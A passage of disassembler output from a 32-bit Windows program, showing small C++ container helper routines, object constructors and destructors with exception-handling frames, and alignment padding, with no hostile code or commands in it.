lea ecx, [esp+14h+arg_4]
call sub_4010DC
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_4017E9
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_401AEB
test al, al
jnz short loc_416048
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_41608A: ; CODE XREF: sub_416030+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_416030 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4160C0 proc near ; CODE XREF: sub_401C8Fj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 0Ch
call sub_4015AF
sub_4160C0 endp
; ---------------------------------------------------------------------------
mov edi, [esp+0Ch]
mov esi, eax
test edi, edi
jnz short loc_4160D5
mov edi, esi
loc_4160D5: ; CODE XREF: ___:004160D1j
push esi
call sub_401249
mov [eax], edi
mov edi, [esp+14h]
add esp, 4
test edi, edi
jnz short loc_4160EA
mov edi, esi
loc_4160EA: ; CODE XREF: ___:004160E6j
push esi
call sub_401163
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416110 proc near ; CODE XREF: sub_401E33j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_4010D7
sub_416110 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416130 proc near ; CODE XREF: sub_401249j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_416130 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416150 proc near ; CODE XREF: sub_402144j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_416150 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416170 proc near ; CODE XREF: sub_401E97j
mov eax, ecx
retn
sub_416170 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416190 proc near ; CODE XREF: sub_401CDAj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_401357
mov eax, esi
pop esi
retn 4
sub_416190 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4161C0 proc near ; CODE XREF: sub_4010DCj
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_4018C5
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_4161C0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4161F0 proc near ; CODE XREF: sub_401EC4j
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_4161F0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416220 proc near ; CODE XREF: sub_401D11j
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_4012CB
mov edi, eax
push edi
call sub_4017DF
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_401DB6
sub_416220 endp
; ---------------------------------------------------------------------------
push edi
mov ebx, eax
call sub_4017DF
push edi
mov [eax], ebx
call sub_4017DF
mov edi, [eax]
push edi
call sub_4017DF
mov ecx, [eax]
push ecx
call sub_401BCC
mov edx, [esp+28h]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_4017E4
add esp, 4
mov ecx, esi
push eax
call sub_401E15
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
lea ecx, [esp+1Ch]
call sub_401D7A
mov ecx, [eax]
mov eax, [esp+10h]
pop edi
pop esi
mov [eax], ecx
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4162C0 proc near ; CODE XREF: sub_401078j
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_401EBF
mov ecx, eax
call sub_4012CB
mov esi, eax
push esi
call sub_401BCC
push esi
mov ebx, eax
call sub_4017DF
mov ecx, [eax]
push ecx
call sub_401BCC
mov edx, [ebx]
push esi
mov [eax], edx
call sub_4017DF
push esi
mov ebx, eax
call sub_401BCC
mov eax, [eax]
push eax
call sub_4017DF
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_4017E4
add esp, 1Ch
mov ecx, edi
push eax
call sub_401401
push esi
mov ecx, edi
call sub_401F14
sub_4162C0 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416380 proc near ; CODE XREF: sub_40140Bj
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_401339
test al, al
jz short loc_4163DA
loc_416398: ; CODE XREF: sub_416380+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_401EBF
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401078
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_401339
test al, al
jnz short loc_416398
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_4163DA: ; CODE XREF: sub_416380+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_416380 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416410 proc near ; CODE XREF: sub_401DB6j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 0Ch
call sub_401EBA
sub_416410 endp
; ---------------------------------------------------------------------------
mov edi, [esp+0Ch]
mov esi, eax
test edi, edi
jnz short loc_416425
mov edi, esi
loc_416425: ; CODE XREF: ___:00416421j
push esi
call sub_401BCC
mov [eax], edi
mov edi, [esp+14h]
add esp, 4
test edi, edi
jnz short loc_41643A
mov edi, esi
loc_41643A: ; CODE XREF: ___:00416436j
push esi
call sub_4017DF
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416460 proc near ; CODE XREF: sub_401F14j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_401866
sub_416460 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416480 proc near ; CODE XREF: sub_401BCCj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_416480 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4164A0 proc near ; CODE XREF: sub_4017E4j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_4164A0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4164C0 proc near ; CODE XREF: sub_401E42j
mov eax, ecx
retn
sub_4164C0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4164E0 proc near ; CODE XREF: sub_401D7Aj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_401618
mov eax, esi
pop esi
retn 4
sub_4164E0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416510 proc near ; CODE XREF: sub_401EBFj
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_40118B
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_416510 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416540 proc near ; CODE XREF: sub_401456j
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_416540 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416570 proc near ; CODE XREF: sub_401104j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_416570 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416590 proc near ; CODE XREF: sub_4020F4j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D2A
sub_416590 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4165C0 proc near ; CODE XREF: sub_401E1Aj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_437AD2
sub_4165C0 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4165E0 proc near ; CODE XREF: sub_4021B7j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_40125D
add esp, 8
retn 8
sub_4165E0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416610 proc near ; CODE XREF: sub_401500j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_6
pop ecx
retn 4
sub_416610 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416630 proc near ; CODE XREF: sub_40175Dj
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_416630 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416650 proc near ; CODE XREF: sub_401A5Fj
mov eax, [ecx]
push eax
call sub_401F19
add esp, 4
retn
sub_416650 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416670 proc near ; CODE XREF: sub_40210Dj
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_4020A9
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_416670 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4166A0 proc near ; CODE XREF: sub_401CBCj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401E74
neg al
sbb eax, eax
inc eax
retn 4
sub_4166A0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4166D0 proc near ; CODE XREF: sub_401C62j
mov eax, [ecx]
retn
sub_4166D0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4166F0 proc near ; CODE XREF: sub_401163j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_4166F0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416710 proc near ; CODE XREF: sub_4015AFj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D2A
sub_416710 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416740 proc near ; CODE XREF: sub_4010D7j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_437AD2
sub_416740 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416760 proc near ; CODE XREF: sub_4015F0j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_40205E
add esp, 8
retn 8
sub_416760 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416790 proc near ; CODE XREF: sub_401D61j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_5
pop ecx
retn 4
sub_416790 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4167B0 proc near ; CODE XREF: sub_401357j
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_4167B0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4167D0 proc near ; CODE XREF: sub_401F8Cj
mov eax, [ecx]
retn
sub_4167D0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4167F0 proc near ; CODE XREF: sub_4017DFj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_4167F0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416810 proc near ; CODE XREF: sub_401EBAj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D2A
sub_416810 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416840 proc near ; CODE XREF: sub_401866j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_437AD2
sub_416840 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416860 proc near ; CODE XREF: sub_401E15j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_4020EA
add esp, 8
retn 8
sub_416860 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416890 proc near ; CODE XREF: sub_401401j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_3
pop ecx
retn 4
sub_416890 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4168B0 proc near ; CODE XREF: sub_401618j
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_4168B0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4168D0 proc near ; CODE XREF: sub_4012CBj
mov eax, [ecx]
retn
sub_4168D0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4168F0 proc near ; CODE XREF: sub_401E74j
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_4168F0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416920 proc near ; CODE XREF: sub_40125Dj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_41693B
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_41693B: ; CODE XREF: sub_416920+11j
retn
sub_416920 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416970 proc near ; CODE XREF: sub_40205Ej
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_41698B
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_41698B: ; CODE XREF: sub_416970+11j
retn
sub_416970 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4169C0 proc near ; CODE XREF: sub_4020EAj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_4169DB
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_4169DB: ; CODE XREF: sub_4169C0+11j
retn
sub_4169C0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
aRrrrrrrrrrrrrr db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜθ',1Bh,0
align 4
dd 36E900h, 90900000h, 90909090h, 4 dup(0CCCCCCCCh), 449118B9h
dd 0B426E900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh)
dd 416A7068h, 115CE800h, 0C3590002h, 90909090h, 4 dup(0CCCCCCCCh)
dd 449118B9h, 0B1DEE900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
loc_416A90: ; CODE XREF: ___:00401C58j
push 0FFFFFFFFh
push offset loc_43B2E1
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+4], esi
lea ecx, [esi+9FD83h]
mov dword ptr [esp+10h], 1Ah
call sub_4021FD
; ---------------------------------------------------------------------------
lea ecx, [esi+9FD6Ch]
mov byte ptr [esp+10h], 19h
call sub_401226
lea ecx, [esi+9FD57h]
mov byte ptr [esp+10h], 18h
call sub_401226
lea ecx, [esi+9FD42h]
mov byte ptr [esp+10h], 17h
call sub_401226
lea ecx, [esi+9FD2Dh]
mov byte ptr [esp+10h], 16h
call sub_401226
lea ecx, [esi+9FC42h]
mov byte ptr [esp+10h], 15h
call sub_401F00
lea ecx, [esi+9FC31h]
mov byte ptr [esp+10h], 14h
call sub_401776
lea ecx, [esi+9FBFFh]
mov byte ptr [esp+10h], 13h
call sub_402013
lea ecx, [esi+9FBCDh]
mov byte ptr [esp+10h], 12h
call sub_401E06
lea ecx, [esi+9FB93h]
mov byte ptr [esp+10h], 11h
call sub_401889
lea ecx, [esi+9FB05h]
mov byte ptr [esp+10h], 10h
call sub_401113
lea ecx, [esi+9FAD3h]
mov byte ptr [esp+10h], 0Fh
call sub_401F46
lea ecx, [esi+9FA73h]
mov byte ptr [esp+10h], 0Eh
call sub_401B3B
lea ecx, [esi+9FA13h]
mov byte ptr [esp+10h], 0Dh
call sub_4017DA
lea ecx, [esi+8F4BFh]
mov byte ptr [esp+10h], 0Ch
call sub_4018D9
lea ecx, [esi+8F3A2h]
mov byte ptr [esp+10h], 0Bh
call sub_401ECE
lea ecx, [esi+8F285h]
mov byte ptr [esp+10h], 0Ah
call sub_402239
lea ecx, [esi+8F270h]
mov byte ptr [esp+10h], 9
call sub_4017AD
lea ecx, [esi+8F247h]
mov byte ptr [esp+10h], 8
call sub_401A32
lea ecx, [esi+8EF5Dh]
mov byte ptr [esp+10h], 7
call sub_4013C5
; ---------------------------------------------------------------------------
lea ecx, [esi+1E6Fh]
mov byte ptr [esp+10h], 6
call sub_401235
lea ecx, [esi+1D29h]
mov byte ptr [esp+10h], 5
call sub_401EA1
lea ecx, [esi+1C58h]
mov byte ptr [esp+10h], 4
call sub_4014FB
lea ecx, [esi+1BBEh]
mov byte ptr [esp+10h], 3
call sub_401AFA
; ---------------------------------------------------------------------------
lea ecx, [esi+1B46h]
mov byte ptr [esp+10h], 2
call sub_401CA3
; ---------------------------------------------------------------------------
lea ecx, [esi+15Fh]
mov byte ptr [esp+10h], 1
call sub_401938
lea ecx, [esi+3Eh]
mov byte ptr [esp+10h], 0
call sub_401447
mov ecx, esi
mov dword ptr [esp+10h], 0FFFFFFFFh
call sub_401262
; ---------------------------------------------------------------------------
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416D00 proc near ; CODE XREF: sub_401A32j
push esi
mov esi, ecx
mov eax, [esi+15h]
mov dword ptr [esi], offset off_43F050
test eax, eax
jle short loc_416D17
push eax
nop
call near ptr 71AB9639h
loc_416D17: ; CODE XREF: sub_416D00+Ej
mov ecx, esi
call sub_40204F
pop esi
retn
sub_416D00 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416D30 proc near ; CODE XREF: ___:0040126Cj sub_4019CEj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401A32
test [esp+4+arg_0], 1
jz short loc_416D48
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_416D48: ; CODE XREF: sub_416D30+Dj
mov eax, esi
pop esi
retn 4
sub_416D30 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416D60 proc near ; CODE XREF: sub_4017ADj
push esi
mov esi, ecx
mov eax, [esi+11h]
mov dword ptr [esi], offset off_43F05C
test eax, eax
jle short loc_416D77
push eax
nop
call near ptr 71AB9639h
loc_416D77: ; CODE XREF: sub_416D60+Ej
mov ecx, esi
call sub_40204F
pop esi
retn
sub_416D60 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_416D90: ; CODE XREF: ___:00401631j
; ___:loc_401CADj
push esi
mov esi, ecx
call sub_4017AD
test byte ptr [esp+8], 1
jz short loc_416DA8
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_416DA8: ; CODE XREF: ___:00416D9Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416DC0 proc near ; CODE XREF: sub_401776j
mov dword ptr [ecx], offset off_43F068
jmp sub_40204F
sub_416DC0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_416DE0: ; CODE XREF: ___:loc_401929j
; ___:004021ADj
push esi
mov esi, ecx
call sub_401776
test byte ptr [esp+8], 1
jz short loc_416DF8
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_416DF8: ; CODE XREF: ___:00416DEDj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416E10 proc near ; CODE XREF: sub_401889j
mov dword ptr [ecx], offset off_43F074
add ecx, 4
jmp sub_401023
sub_416E10 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_416E30: ; CODE XREF: ___:00401E60j
push 0FFFFFFFFh
push offset loc_43B4C1
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
mov [esp+8], esi
call sub_4020BD
; ---------------------------------------------------------------------------
lea ecx, [esi+3Eh]
mov dword ptr [esp+14h], 0
call sub_4015E6
lea ecx, [esi+15Fh]
mov byte ptr [esp+14h], 1
call sub_40129E
lea ecx, [esi+1B46h]
mov byte ptr [esp+14h], 2
call sub_402018
; ---------------------------------------------------------------------------
lea ecx, [esi+1BBEh]
mov byte ptr [esp+14h], 3
call sub_401A00
; ---------------------------------------------------------------------------
lea ecx, [esi+1C58h]
mov byte ptr [esp+14h], 4
call sub_401587
lea ecx, [esi+1D29h]
mov byte ptr [esp+14h], 5
call sub_40164F
lea ecx, [esi+1E6Fh]
mov byte ptr [esp+14h], 6
call sub_401780
lea ecx, [esi+8EF5Dh]
mov byte ptr [esp+14h], 7
call sub_40169F
lea ecx, [esi+8F247h]
mov byte ptr [esp+14h], 8
call sub_40182F
lea ecx, [esi+8F270h]
mov byte ptr [esp+14h], 9
call sub_4016BD
lea ecx, [esi+8F285h]
mov byte ptr [esp+14h], 0Ah
call sub_40141F
lea ecx, [esi+8F3A2h]
mov byte ptr [esp+14h], 0Bh
call sub_401302
lea ecx, [esi+8F4BFh]
mov byte ptr [esp+14h], 0Ch
call sub_401271
lea ecx, [esi+8F51Fh]
mov byte ptr [esp+14h], 0Dh
call sub_401D25
lea ecx, [esi+9FA13h]
call sub_4012FD
lea ecx, [esi+9FA73h]
mov byte ptr [esp+14h], 0Eh
call sub_401A91
lea ecx, [esi+9FAD3h]
mov byte ptr [esp+14h], 0Fh
call sub_401285
lea ecx, [esi+9FB05h]
mov byte ptr [esp+14h], 10h
call sub_401CB7
lea ecx, [esi+9FB93h]
mov byte ptr [esp+14h], 11h
call sub_402121
; ---------------------------------------------------------------------------
mov byte ptr [esp+14h], 12h
lea ecx, [esi+9FBCDh]
call sub_40157D
lea ecx, [esi+9FBFFh]
mov byte ptr [esp+14h], 13h
call sub_401799
lea ecx, [esi+9FC31h]
mov byte ptr [esp+14h], 14h
call sub_401069
lea ecx, [esi+9FC42h]
mov byte ptr [esp+14h], 15h
call sub_401073
lea ecx, [esi+9FD2Dh]
mov byte ptr [esp+14h], 16h
call sub_40142E
lea ecx, [esi+9FD42h]
mov byte ptr [esp+14h], 17h
call sub_40142E
lea ecx, [esi+9FD57h]
mov byte ptr [esp+14h], 18h
call sub_40142E
lea ecx, [esi+9FD6Ch]
mov byte ptr [esp+14h], 19h
call sub_40142E
lea eax, [esp+7]
lea ecx, [esi+9FD83h]
push eax
mov byte ptr [esp+18h], 1Ah
call sub_401B0E
; ---------------------------------------------------------------------------
mov ecx, [esp+0Ch]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4170B0 proc near ; CODE XREF: sub_401262j
var_10 = dword ptr -10h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4170B0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401B1D
sub_4170B0 endp
; ---------------------------------------------------------------------------
lea ecx, [esi+4]
mov dword ptr [esp+10h], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
